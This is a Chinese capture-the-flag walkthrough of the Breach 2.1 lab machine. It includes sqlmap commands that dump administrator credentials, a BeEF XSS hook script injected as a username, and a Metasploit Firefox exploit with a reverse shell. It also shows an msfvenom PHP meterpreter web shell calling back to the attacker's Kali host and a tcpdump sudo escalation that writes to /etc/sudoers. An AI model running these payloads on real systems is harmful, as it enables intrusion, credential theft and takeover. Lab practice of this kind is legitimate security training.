Breach 2.1

扫描ip

扫描端口

现在能利用的好像只有ssh服务,尝试访问ssh服务

发现了用户Peter以及密码inthesource

ssh peter@192.168.110.151 -p 65535

链接中断

再次扫描端口

开启了80端口

访问网页

扫描后台

尝试在搜索框进行sql注入

依次查看各数据库,发现在oscommerce数据库存在账号密码

sqlmap -u http://192.168.110.151/blog/index.php?search=1 -D oscommerce --tables --batch

sqlmap -u http://192.168.110.151/blog/index.php?search=1 -D oscommerce -T osc_administrators --columns --batch

sqlmap -u http://192.168.110.151/blog/index.php?search=1 -D oscommerce -T osc_administrators -C user_name,user_password --dump --batch

得到一组新的账号密码admin 685cef95aa31989f2edae5e055ffd2c9解密得到32admin

来到注册页面,注册成功后点击Members,弹出弹框,说明此处存在XSS漏洞

apt install beef-xss
beef-xss

将红框中的数据作为用户名在blog中注册一个用户,把127.0.0.1替换为Kali的地址(192.168.110.128)

<script src="http://192.168.110.128:3000/hook.js"></script>
123456
123456@qq.com

点击Register——再点击页面上的Members,之后可以看到靶机已上线,发现火狐浏览器版本为15存在漏洞

http://127.0.0.1:3000/ui/panel

发现火狐浏览器版本为15存在漏洞

因为靶机用的是火狐浏览器,所以选用火狐模块攻击

msfconsole
use exploit/multi/browser/firefox_proto_crmfrequest
set payload generic/shell_reverse_tcp
set srvhost 192.168.110.128
set uripath shell
set lhost 192.168.110.128
run

在beef中调用iframe进行利用

发现每隔5秒会话会自动中断,需要迅速切换反弹shell为meterpreter

    use post/multi/manage/shell_to_meterpreter
    set session 1
    run

    sessions
    sessions 2
    shell
    python -c 'import pty; pty.spawn("/bin/bash")'

因为刚刚peter连接SSH时被踢出来了,所以先看看SSH的配置文件,发现在文件尾写到登入peter时会运行/usr/bin/startme

查看对应文件内容,startme的作用是开启apache服务, 所以登录成功peter才开放80端口

cd /home
ls -la

检查网络状态

netstat -tln

使用telnet连接端口,提示一个坐标位置29°45'46.0"N 95°22'59.0"W,基于坐标进行地图(map.google.com)查询发现为休斯顿的地址位置,使用账号milton登录,密码Houston尝试登录

telnet 127.0.0.1 2323

find /usr -user milton
cat /usr/local/bin/cd.py

再次查看网络信息,提示8888端口已经放开

访问8888端口

使用dirsearch对其进行目录扫描

dirsearch -u http://192.168.110.151:8888/oscommerce/

拼接/admin/,出现了一个登录框

尝试弱口令进行登录admin admin,发现登录成功

存在可利用的点,在Tools发现了一个文件管理器

在include/work路径下上传木马,使用MSF生成反弹shell木马,并上传到服务器中

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.110.128 LPORT=9999 -f raw -o shell.php

kali开启一个服务,将生成的shell.php下载到本地再上传到服务器中

MSF设置监听

msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.110.128
set lport 9999
run

访问木马路径文件,反弹成功

http://192.168.110.151:9999/oscommerce/includes/work/shell.php

获取交互式shell,发现此时用户为blumbergh,依旧是低权限

shell
python -c "import pty;pty.spawn('/bin/bash')"

sudo -l #查看可运行的sudo命令

tcpdump | GTFOBins

COMMAND='id'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root

切换到 tmp 目录,构造1.sh 脚本文件以实现提权,然后执行GTOFbins中给出的 sudo 命令,实现脚本利用

cd /tmp
echo 'echo "blumbergh ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' > /tmp/test && chmod +x /tmp/test
sudo /usr/sbin/tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/test -Z root
sudo su

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值